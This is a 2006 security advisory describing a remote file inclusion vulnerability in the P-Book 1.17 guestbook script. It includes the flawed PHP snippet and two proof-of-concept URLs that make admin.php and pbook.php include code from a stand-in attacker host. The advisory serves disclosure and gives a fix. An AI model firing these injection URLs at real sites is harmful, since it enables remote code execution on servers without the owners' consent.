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P-Book <= 1.17 (pb_lang) Remote File Inclusion Vulnerabilities

Author
Matdhule
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-1095
Category
web applications
Date add
31-10-2006
Platform
unsorted
==============================================================
P-Book <= 1.17 (pb_lang) Remote File Inclusion Vulnerabilities
==============================================================




____________________   ___ ___ ________
\_   _____/\_   ___ \ /   |   \\_____  \
 |    __)_ /    \  \//    ~    \/   |   \
 |        \\     \___\    Y    /    |    \
/_______  / \______  /\___|_  /\_______  /
        \/         \/       \/         \/                              .OR.ID
ECHO_ADV_56$2006

------------------------------------------------------------------------------
[ECHO_ADV_56$2006] P-Book <= 1.17 (pb_lang) Remote File Inclusion
------------------------------------------------------------------------------

Author		: Ahmad Maulana a.k.a Matdhule
Date Found	: October, 18th 2006
Location	: Indonesia, Jakarta
Critical Lvl	: Highly critical
Impact		: System access
Where		: From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~


Application	: P-Book
version		: 1.17
URL		: http://www.PPoPn.net

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~~

I found vulnerability script admin.php

-----------------------admin.php----------------------
....
<?

$time = $reload * 60;
include("$pb_lang/language.php");
...
----------------------------------------------------------

Input passed to the "pb_lang" parameter in admin.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.

Also affected files:
pbook.php

Proof Of Concept:
~~~~~~~~~~~~~~~

http://target.com/[p-book_path]/admin.php?pb_lang=http://attacker.com/inject.txt?
http://target.com/[p-book_path]/pbook.php?pb_lang=http://attacker.com/inject.txt?

Solution:
~~~~~~~
- Sanitize variable $pb_lang on affected files.

---------------------------------------------------------------------------
Shoutz:
~~~
~ solpot a.k.a chris, J4mbi  H4ck3r thx for the hacking lesson    :)   
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous
~ bius, lapets, ghoz, t4mbun_hacker, NpR, h4ntu, thama

-------------------------------- [ EOF ]----------------------------------


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